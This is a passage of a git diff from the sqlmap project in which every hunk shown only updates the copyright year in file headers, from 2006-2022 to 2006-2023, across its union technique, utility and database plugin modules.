(https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 64b5be0aa..c7a3f5948 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 868cae4ef..ef550d8da 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 6fa8c0ab2..2a394f382 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/brute.py b/lib/utils/brute.py index f9fe08089..905e5d241 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 021514541..2d9070713 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 846f2637f..1d7302287 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 5f0f61d57..347fd7e53 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/har.py b/lib/utils/har.py index c7bbc6743..bcea7b001 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index b716a54fa..4a013338b 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 128720dd1..10cf2dcc9 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index 546cca4de..f5820a600 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index a36ab80e8..008a33c59 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 43aa2d0fc..9e906326a 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 327261469..e89895eba 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index 2d2ae4f2d..15ba36965 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index 2b4a12b97..5ae11a10c 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index be67316d8..a051756a1 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index abafa2fe0..9551cfe5d 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 59547f789..7dd85e1b3 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 3063ecf9b..d4065f00d 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index f9b52a951..37ec1e2b8 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 6359d422d..492bc5d7e 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 04a050a42..9d6484aa9 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 6204a4074..b272956f9 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index e1227bef5..c6226bfdf 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 4ad9b1d5e..542f215d4 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index ab9fbb808..b2c52b490 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py index 90d07eeb9..63ee13176 100644 --- a/plugins/dbms/altibase/__init__.py +++ b/plugins/dbms/altibase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py index 176f709b5..e19ad4bfb 100644 --- a/plugins/dbms/altibase/connector.py +++ b/plugins/dbms/altibase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py index 0628c8eeb..e565b49c4 100644 --- a/plugins/dbms/altibase/enumeration.py +++ b/plugins/dbms/altibase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/altibase/filesystem.py +++ b/plugins/dbms/altibase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py index fec86354f..eb471a724 100644 --- a/plugins/dbms/altibase/fingerprint.py +++ b/plugins/dbms/altibase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py index 51d87d212..b6b6c633d 100644 --- a/plugins/dbms/altibase/syntax.py +++ b/plugins/dbms/altibase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py index 876c40a55..6edc833ba 100644 --- a/plugins/dbms/altibase/takeover.py +++ b/plugins/dbms/altibase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py index dbe98e32d..f9409fbc7 100644 --- a/plugins/dbms/cache/__init__.py +++ b/plugins/dbms/cache/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py index 03706f091..000db10fc 100644 --- a/plugins/dbms/cache/connector.py +++ b/plugins/dbms/cache/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py index 56e580f00..bc81558c4 100644 --- a/plugins/dbms/cache/enumeration.py +++ b/plugins/dbms/cache/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/cache/filesystem.py +++ b/plugins/dbms/cache/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py index d22652934..feca88a5b 100644 --- a/plugins/dbms/cache/fingerprint.py +++ b/plugins/dbms/cache/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py index ec33fa6f7..6ee812152 100644 --- a/plugins/dbms/cache/syntax.py +++ b/plugins/dbms/cache/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py index 681a2355c..cf933aee3 100644 --- a/plugins/dbms/cache/takeover.py +++ b/plugins/dbms/cache/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py index 9d9a40b8a..843b75021 100644 --- a/plugins/dbms/cratedb/__init__.py +++ b/plugins/dbms/cratedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py index 2b9b77829..15a2b48e3 100644 --- a/plugins/dbms/cratedb/connector.py +++ b/plugins/dbms/cratedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py index 9f7c802d4..ce0ad614b 100644 --- a/plugins/dbms/cratedb/enumeration.py +++ b/plugins/dbms/cratedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/cratedb/filesystem.py +++ b/plugins/dbms/cratedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py index 58b4796b4..26ee988e9 100644 --- a/plugins/dbms/cratedb/fingerprint.py +++ b/plugins/dbms/cratedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py index 6b5fd76a6..b53aa83ad 100644 --- a/plugins/dbms/cratedb/syntax.py +++ b/plugins/dbms/cratedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py index 3c8327351..87195fd1f 100644 --- a/plugins/dbms/cratedb/takeover.py +++ b/plugins/dbms/cratedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py index 09716acd1..854ed4c0f 100644 --- a/plugins/dbms/cubrid/__init__.py +++ b/plugins/dbms/cubrid/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index e08b89a15..1be6d7d1a 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py index 1a88581f3..edc434131 100644 --- a/plugins/dbms/cubrid/enumeration.py +++ b/plugins/dbms/cubrid/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/cubrid/filesystem.py +++ b/plugins/dbms/cubrid/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py index 14e342159..375ee52e9 100644 --- a/plugins/dbms/cubrid/fingerprint.py +++ b/plugins/dbms/cubrid/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py index c387389d3..3b75df165 100644 --- a/plugins/dbms/cubrid/syntax.py +++ b/plugins/dbms/cubrid/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py index 361e4909e..063b2a2d5 100644 --- a/plugins/dbms/cubrid/takeover.py +++ b/plugins/dbms/cubrid/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 7bb040ba4..433dbb2bf 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index c8d02c1cd..d83845d98 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index c5bd233fc..aca272372 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 5f53ff19a..14e6a56ca 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 51d87d212..b6b6c633d 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index 1d0ae95f4..bcbc4b5e1 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py index f965c1150..4e1362b8a 100644 --- a/plugins/dbms/derby/__init__.py +++ b/plugins/dbms/derby/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py index 732d6a231..004fb2ec8 100644 --- a/plugins/dbms/derby/connector.py +++ b/plugins/dbms/derby/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index 8bddb5472..58dbf9f59 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py index 2ff16d48d..bf4d5c5ba 100644 --- a/plugins/dbms/derby/filesystem.py +++ b/plugins/dbms/derby/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index c9cb3c0bc..2a5a77973 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py index 6b5fd76a6..b53aa83ad 100644 --- a/plugins/dbms/derby/syntax.py +++ b/plugins/dbms/derby/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 